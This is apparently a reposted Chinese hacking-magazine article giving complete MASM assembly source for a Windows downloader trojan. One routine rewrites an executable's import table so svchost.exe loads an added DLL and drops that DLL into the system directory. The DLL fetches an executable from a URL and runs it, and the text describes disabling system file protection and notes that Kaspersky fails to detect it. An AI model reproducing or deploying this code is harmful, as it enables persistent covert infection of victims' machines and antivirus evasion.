? ? ? ? LOCAL hMapping: DWORD
? ? ? ? LOCAL pMapping: DWORD
? ? ? ? LOCAL oImport[520]:BYTE
? ? ? ? LOCAL oImportlen
? ? ? ? LOCAL Chrarctics
? ? ? ? LOCAL dllnamelen:DWORD
? ? ? ? LOCAL funparalen:DWORD
? ? ? ? LOCAL irva:DWORD
? ? invoke RtlZeroMemory,addr oImport,520
? ? invoke RtlZeroMemory,addr szpath,255
? ? nvoke lstrcat,addr szpath,CTEXT("test.exe")
? ? ;打開文件:
? ? invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,\
? ? ? ? ? ? FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
? ? .if eax == INVALID_HANDLE_VALUE
? ? ? ? jmp Err_CreateFile_Exit
? ? .endif
? ? mov hFile, eax
? ?
? ? ;創建內存映射文件
? ? ? ? invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
? ? .if eax!=NULL
? ? ? ? mov hMapping, eax
? ? .endif
? ? invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
? ? .if eax!=NULL
? ? ? mov pMapping,eax
? ? .endif
? ? ;****************************************
? ? ;讀取PE文件頭
? ? ;****************************************
? ? invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
? ? invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
? ?
? ? ;****************************************
? ? ;PE文件有效性檢查
? ? ;****************************************
? ? .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
? ? ? ? jmp Exit
? ? .endif
? ? ? ?
? ? ;****************************************
? ? ;判斷是否有足夠空間存儲新節:
? ? ;****************************************
? ? movzx eax, [PE_Header.FileHeader.NumberOfSections]? ? ;得到添加新節前有多少個節:
? ? mov ecx, 28h? ? ;28h = sizeof IMAGE_SECTION_HEADER
? ? mul ecx? ? ? ? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
? ? add eax, dwPE_Header_OffSet? ? ;eax = eax + PE文件頭偏移
? ? add eax, 18h? ? ;18h = sizeof IMAGE_FILE_HEADER
? ? movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
? ? add eax, ecx? ? ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
? ? add eax, 28h? ? ;添加一個新節的大小
? ? .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
? ? ? ? jmp Exit
? ? .endif
? ? ;**************************************************
? ? ;計算新節的偏移地址:
? ? ;**************************************************
? ? movzx eax, [PE_Header.FileHeader.NumberOfSections]
? ? mov ecx, 28h
? ? mul ecx? ? ? ? ? ? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
? ? add eax, 4h? ? ? ? ;4h = sizeof "PE\0\0"
? ? add eax, dwPE_Header_OffSet
? ? add eax, sizeof IMAGE_FILE_HEADER
? ? add eax, sizeof IMAGE_OPTIONAL_HEADER
? ? mov dwMySectionOffSet, eax? ? ;現在得到了我們的新節的偏移地址
? ? push [PE_Header.OptionalHeader.SizeOfImage]
? ? pop [My_Section.VirtualAddress]
? ?
? ?
? ? ;****************************************
? ? ;重構引入表,在文件的最后寫入我們的新節:
? ? ;****************************************
? ? ;讀取原始引入表數據,讀取正確的不帶0的引入表
? ? mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress]
? ? invoke RVAToOffset,pMapping,edi
? ? mov edi,eax
? ? invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN
? ? ;不讀空的結束符
? ? mov oImportlen,0
? ? lea edi,oImport
calclen:
? ? invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL
? ? mov ebx,[edi]
? ? test ebx,ebx
? ? jz calcover
? ? add edi,4
? ? add oImportlen,4
? ? jmp calclen
calcover:
? ? ;寫入dll名稱,定位到最后一節的raw offset處
? ? mov eax, dwMySectionOffSet
? ? sub eax, 18h
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
? ? invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL? ?
? ? mov ebx, dwLastSection_SizeOfRawData
? ? add ebx, dwLastSection_PointerToRawData
? ? invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN
? ? push 0
? ? lea eax, dwFileReadWritten
? ? push eax
? ? mov eax,sizeof dllname
? ? mov dllnamelen,eax
? ? push eax ;[My_Section.SizeOfRawData]
? ? lea eax, dllname
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
? ? ;寫入IMAGE_THUNK_DATA
? ? push 0
? ? lea eax, dwFileReadWritten
? ? push eax? ?
? ? mov eax,sizeof funpara
? ? ;add eax,sizeof funpara
? ? mov funparalen,eax
? ? push eax
? ? lea eax, funpara
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
? ? ;寫入IMAGE_THUNK_DATA的RVA
? ? mov eax,[My_Section.VirtualAddress]
? ? add eax,dllnamelen
? ? mov irva,eax
? ? invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL
? ? ;寫入一個空IMAGE_THUNK_DATA的RVA作為結尾
? ? invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL
? ?
? ? ;寫入原引入表數據
? ? mov ecx,oImportlen
? ? invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL? ?
? ?
? ? ;構造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
? ? mov eax,[My_Section.VirtualAddress]
? ? add eax,dllnamelen
? ? add eax,funparalen
? ? mov [My_Dll.OriginalFirstThunk],eax
? ? mov [My_Dll.TimeDateStamp],0FFFFFFFFh
? ? mov [My_Dll.ForwarderChain],0FFFFFFFFh
? ? mov ebx,[My_Section.VirtualAddress]
? ? mov [My_Dll.Name1],ebx
? ? mov [My_Dll.FirstThunk],eax
? ?
? ? ;寫入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR
? ? invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL
? ?
? ? ;寫入以0結尾的空IMAGE_IMPORT_DESCRIPTOR
? ? ? ? push 20
? ? ? ? pop ecx
fillzero:
? ? ? ? push ecx
? ? ? ? invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL
? ? ? ? pop ecx
? ? ? ? dec ecx
? ? ? ? test ecx,ecx
? ? ? ? jnz fillzero
? ? ;****************************************
? ? ;填充我們自己的節的信息:
? ? ;****************************************
? ? mov dword ptr [My_Section.Name1], "ler."
? ? mov dword ptr [My_Section.Name1]+4, "co"
? ? mov [My_Section.Misc.VirtualSize], 1000h
? ? push [PE_Header.OptionalHeader.SizeOfImage]
? ? pop [My_Section.VirtualAddress]
? ? mov eax, [My_Section.Misc.VirtualSize]
? ? mov eax,dllnamelen
? ? add eax,funparalen
? ? add eax,28
? ? add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]
? ? mov [My_Section.SizeOfRawData], eax? ;SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數倍的值
? ? mov eax, dwMySectionOffSet
? ? sub eax, 18h? ? ;這個偏移是定位到最后一節的“SizeOfRawData”
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
? ? invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
? ? ;每個節的 PointerToRawData 等于它的上一節的 SizeOfRawData + PointerToRawData:
? ? mov eax, dwLastSection_SizeOfRawData
? ? add eax, dwLastSection_PointerToRawData
? ? mov [My_Section.PointerToRawData], eax
? ? mov [My_Section.PointerToRelocations], 0h
? ? mov [My_Section.PointerToLinenumbers], 0h
? ? mov [My_Section.NumberOfRelocations], 0h
? ? mov [My_Section.NumberOfLinenumbers], 0h
? ? mov [My_Section.Characteristics], 0C0000040h? ? ;可讀可寫
? ? ;**************************************************
? ? ;重新寫入IMAGE_SECTION_HEADER:(包含了新節的信息)
? ? ;**************************************************
? ? invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
? ? invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL
? ? ;**************************************************
? ? ;改寫IMAGE_NT_HEADERS
? ? ;(需要改寫 SizeOfImage)
? ? ;**************************************************
? ? inc [PE_Header.FileHeader.NumberOfSections]
? ? mov eax, [My_Section.VirtualAddress]
? ? add eax, dllnamelen
? ? add eax, funparalen
? ? add eax, 8
? ? mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax
? ? mov eax, [My_Section.Misc.VirtualSize]
? ? mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
? ? cdq
? ? div ecx
? ? inc eax
? ? mul ecx
? ? add eax, [PE_Header.OptionalHeader.SizeOfImage]
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0
? ? mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0
? ? sub eax,1000h
? ? mov [PE_Header.OptionalHeader.SizeOfImage], eax? ? ;SizeOfImage是一個對齊到SectionAlignment的整數倍的值
? ? invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
? ? invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
? ?
? ? ;改寫.text屬性為E00000020h,默認.text為第一個節
? ? mov eax, dwPE_Header_OffSet
? ? add eax, sizeof IMAGE_FILE_HEADER
? ? add eax, sizeof IMAGE_OPTIONAL_HEADER
? ? add eax,40;定位到Characteristics 0E0000020h
? ? invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
? ? push NULL
? ? lea eax, dwFileReadWritten
? ? push eax
? ? push 4
? ? mov Chrarctics,0E0000020h
? ? lea eax,Chrarctics
? ? push eax
? ? push hFile
? ? call WriteFile
? ?
Exit:
? ? ;關閉文件:
? ? invoke UnmapViewOfFile, pMapping
? ? invoke CloseHandle,hMapping
? ? invoke CloseHandle, hFile? ?
Err_CreateFile_Exit:
? ? ret
Modimport endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;釋放DLL至系統目錄
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CreateDll proc
? ? local hResInfo:HRSRC
? ? local hResData:HGLOBAL
? ? local dwSize:DWORD
? ? local dwWritten:DWORD
? ? local hFile:HANDLE
? ? local hRec:HANDLE
? ? local dllpath[255]:BYTE
? ? ? ? invoke RtlZeroMemory,addr dllpath,255
? ? ? ? invoke GetSystemDirectory,addr dllpath,255
? ? ? ? invoke lstrcat,addr dllpath,CTEXT("\sec.dll")
? ? ? ? invoke FindResource,0,1001,CTEXT("DLL")
? ? ? ? mov hResInfo,eax
? ? ? ? invoke SizeofResource,0,hResInfo
? ? ? ? mov dwSize,eax
? ? ? ? invoke LoadResource,0,hResInfo
? ? ? ? mov hResData,eax
? ? ? ? invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL
? ? ? ? mov hFile,eax
? ? ? ? invoke LockResource,hResData
? ? ? ? mov hRec,eax
? ? ? ? invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0
? ? ? ? invoke CloseHandle,hFile
? ? ? ? ret
CreateDll endp
end start
DLL實現下載并執行的功能,代碼如下:
.386?
.model? flat,? stdcall?
option? casemap? :none? ? ? ;? case? sensitive?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>?
include? windows.inc
include? kernel32.inc
includelib kernel32.lib
down proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
return? MACRO? arg?
? ? ? ? ? ? mov? eax,? arg?
? ? ? ? ? ? ret?
ENDM
;宏
CTEXT? ? MACRO y:VARARG
? ? LOCAL sym
? ? CONST segment
? ? ifidni <y>,<>
? ? ? ? sym db 0? ? ? ?
? ? else? ? ? ? ? ?
? ? ? ? sym db y,0
? ? endif
? ? CONST ends
? ? exitm <offset sym>
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
szURL? db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szPath db 'c:\a.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
LibMain? proc? hInstDLL:DWORD,? reason:DWORD,? unused:DWORD?
? ? ? ? ? ? ? ? .if? reason? ==? DLL_PROCESS_ATTACH?
? ? ? ? ? ? ? ? ? ? ? ? invoke CreateThread,0,0,offset down,0,0,0
? ? ? ? ? ? ? ? ? ? ? ? return TRUE
? ? ? ? ? ? ? .elseif? reason? ==? DLL_PROCESS_DETACH
? ? ? ? ? ? ? .elseif? reason? ==? DLL_THREAD_ATTACH
? ? ? ? ? ? ? .elseif? reason? ==? DLL_THREAD_DETACH
? ? ? ? ? ? ? .endif
? ? ? ? ? ? ? ret
LibMain? Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;下載者功能執行模塊
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
down proc
? ? ? ? ? ? local downfunc:DWORD
? ? ? ?
? ? ? ? ? ? call loadlib
? ? ? ? ? ? lib db 'urlmon',0
loadlib:
? ? ? ? ? ? call LoadLibraryA
? ? ? ? ? ? call getfuncaddr
? ? ? ? ? ? func db 'URLDownloadToFileA',0
getfuncaddr:
? ? ? ? ? ? push eax
? ? ? ? ? ? call GetProcAddress
? ? ? ? ? ? mov? downfunc,eax
again:
? ? ? ? ? ? push 5000
? ? ? ? ? ? call Sleep
? ? ? ? ? ?
? ? ? ? ? ? push NULL
? ? ? ? ? ? push NULL
? ? ? ? ? ? push offset szPath
? ? ? ? ? ? push offset szURL
? ? ? ? ? ? push NULL
? ? ? ? ? ? call downfunc
? ? ? ? ? ?
? ? ? ? ? ? test eax,eax
? ? ? ? ? ? jnz again
? ? ? ? ? ? call exec
tExit:
? ? ? ? ? ? ret
down endp
exec proc
? ? ? ? ? ? invoke WinExec,offset szPath,1
? ? ? ? ? ? ret
exec endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;為引入表導出的函數
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SecConfig? proc
? ? ? ? ? ? xor eax,eax
? ? ? ret
SecConfig? endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
End? LibMain
其中我們的DLL必須導出一個函數,否則svchost會報找不到指定的要加載的DLL,測試的時候需要先停止windows系統文件保護,然后替換svchost.exe,重啟后就會發現我們的小馬已經成功下載東西,但是還有一些瑕疵有待改善,XP下默認有多個svchost,所以我們的DLL中的線程也運行了多次。卡巴大叔一點反應都沒有(除程序完整性檢測外其余均打開的情況下,默認的高級模式)如圖3:
圖3
? ? 代碼寫的比較匆忙,錯誤紕漏在所難免,權當拋磚引玉,有任何問題,歡迎和我交流:www.gyzy.org
(文中涉及程序或代碼已經收錄到雜志配套光盤“雜志相關”欄目。)
轉載于:https://www.cnblogs.com/nniixl/archive/2007/05/02/734292.html
總結
以上是生活随笔為你收集整理的修改引入表打造穿透KIS6的下载者(转)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Oracle 小技巧
- 下一篇: 就差一点点-微妙的强制类型转换